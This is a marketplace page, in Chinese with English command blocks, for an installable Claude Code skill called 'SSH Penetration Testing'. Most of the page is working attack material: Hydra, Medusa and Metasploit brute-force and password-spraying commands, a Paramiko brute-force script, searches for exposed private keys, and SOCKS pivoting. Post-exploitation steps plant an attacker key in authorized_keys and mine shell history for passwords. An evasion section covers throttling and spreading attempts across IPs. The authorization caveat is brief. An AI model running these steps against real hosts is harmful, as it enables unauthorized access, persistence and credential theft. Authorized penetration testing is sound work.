SSH Penetration Testing

Name: SSH Penetration Testing
Author: davila7

github.com/davila7安全33.0k212 次安装1 天前更新

代码仓库

关于 SSH Penetration Testing

面向授权安全测试人员的 SSH 渗透测试技能，涵盖服务枚举、认证评估、漏洞检查、隧道测试和后渗透流程，并列出工具与命令示例。

主要功能

01发现并枚举 SSH 服务
02审计配置与已知漏洞
03评估密码及密钥认证
04测试端口转发与跳板
05记录后渗透检查结果

适用场景

01盘点目标网络中的 SSH 服务
02检查 SSH 算法与配置弱点
03在授权范围内评估凭据安全
04通过 SSH 隧道访问内部服务

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill ssh-penetration-testing

安装后在 Claude Code 中输入/ssh-penetration-testing确认已加载。

详细介绍

SSH 渗透测试

目的

开展全面的 SSH 安全评估，包括枚举、凭据攻击、漏洞利用、隧道技术和后渗透活动。本技能涵盖测试 SSH 服务安全性的完整方法。

前提条件

所需工具

配备 SSH 脚本的 Nmap
用于暴力破解的 Hydra 或 Medusa
用于配置分析的 ssh-audit
Metasploit Framework
配备 Paramiko 库的 Python

所需知识

SSH 协议基础知识
公钥/私钥身份验证
端口转发概念
熟练使用 Linux 命令行

输出和交付物

SSH 枚举报告 - 版本、算法、配置
凭据评估 - 弱密码、默认凭据
漏洞评估 - 已知 CVE、错误配置
隧道文档 - 端口转发配置

核心工作流

阶段 1：SSH 服务发现

识别目标网络中的 SSH 服务：

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100

阶段 2：SSH 枚举

收集 SSH 服务的详细信息：

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

阶段 3：SSH 配置审计

识别弱配置：

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

需要识别的关键配置弱点：

弱密钥交换算法（diffie-hellman-group1-sha1）
弱加密算法（arcfour、3des-cbc）
弱 MAC（hmac-md5、hmac-sha1-96）
已弃用的协议版本

阶段 4：凭据攻击

使用 Hydra 进行暴力破解

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

使用 Medusa 进行暴力破解

# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

密码喷洒

# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

阶段 5：基于密钥的身份验证测试

测试密钥是否过弱或已暴露：

# Attempt login with found private key
ssh -i id_rsa [email protected]

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa [email protected]

# Force password authentication
ssh -o PreferredAuthentications=password [email protected]

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" [email protected]
done

检查是否存在暴露的密钥：

# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

阶段 6：漏洞利用

搜索已知漏洞：

# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

阶段 7：SSH 隧道和端口转发

本地端口转发

将本地端口转发到远程服务：

# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 [email protected]
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 [email protected]

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 [email protected]

远程端口转发

将本地服务暴露给远程网络：

# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 [email protected]
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 [email protected]

动态端口转发（SOCKS 代理）

创建 SOCKS 代理以进行网络跳转：

# Create SOCKS proxy on local port 1080
ssh -D 1080 [email protected]

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080

ProxyJump（跳板主机）

通过多个 SSH 服务串联连接：

# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump [email protected]

阶段 8：后渗透

获得 SSH 访问权限后的活动：

# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# Extract SSH configuration
cat /etc/ssh/sshd_config

# Find other users
cat /etc/passwd | grep -v nologin
ls /home/

# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass

阶段 9：使用 Paramiko 编写自定义 SSH 脚本

基于 Python 的 SSH 自动化：

#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] Success: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] Failed: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()

阶段 10：Metasploit SSH 模块

使用 Metasploit 全面测试 SSH：

# Start Metasploit
msfconsole

# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# Post-exploitation with SSH session
sessions -i 1

快速参考

SSH 枚举命令

命令	用途
`nc <host> 22`	获取 Banner
`ssh-audit <host>`	配置审计
`nmap --script ssh*`	SSH NSE 脚本
`searchsploit openssh`	查找漏洞利用程序

暴力破解选项

工具	命令
Hydra	`hydra -l user -P pass.txt ssh://host`
Medusa	`medusa -h host -u user -P pass.txt -M ssh`
Ncrack	`ncrack -p 22 --user admin -P pass.txt host`
Metasploit	`use auxiliary/scanner/ssh/ssh_login`

端口转发类型

类型	命令	用例
本地	`-L 8080:target:80`	在本地访问远程服务
远程	`-R 8080:localhost:80`	将本地服务暴露到远程
动态	`-D 1080`	用于跳转的 SOCKS 代理

常见 SSH 端口

端口	说明
22	默认 SSH 端口
2222	常见备用端口
22222	另一备用端口
830	通过 SSH 传输的 NETCONF

约束和限制

法律注意事项

始终获取书面授权
暴力破解可能违反服务条款
记录所有测试活动

技术限制

速率限制可能会阻止攻击
Fail2ban 或类似工具可能会封禁 IP
基于密钥的身份验证可阻止密码攻击
双因素身份验证会增加复杂性

规避技术

使用低速暴力破解：-t 1 -w 5
通过多个 IP 分散攻击
谨慎使用基于时序的枚举
遵守锁定阈值

故障排除

问题	解决方案
连接被拒绝	确认 SSH 正在运行；检查防火墙；确认端口；从其他 IP 测试
身份验证失败	确认用户名；检查密码策略；检查密钥权限（600）；检查 authorized_keys 格式
隧道无法工作	检查 sshd_config 中的 GatewayPorts/AllowTcpForwarding；确认防火墙；使用 `ssh -v`

支持 Markdown

登录后评论

基本信息

作者: davila7
仓库: davila7/claude-code-templates
分类: 安全
安装次数: 212
GitHub Stars: 32,978

报告问题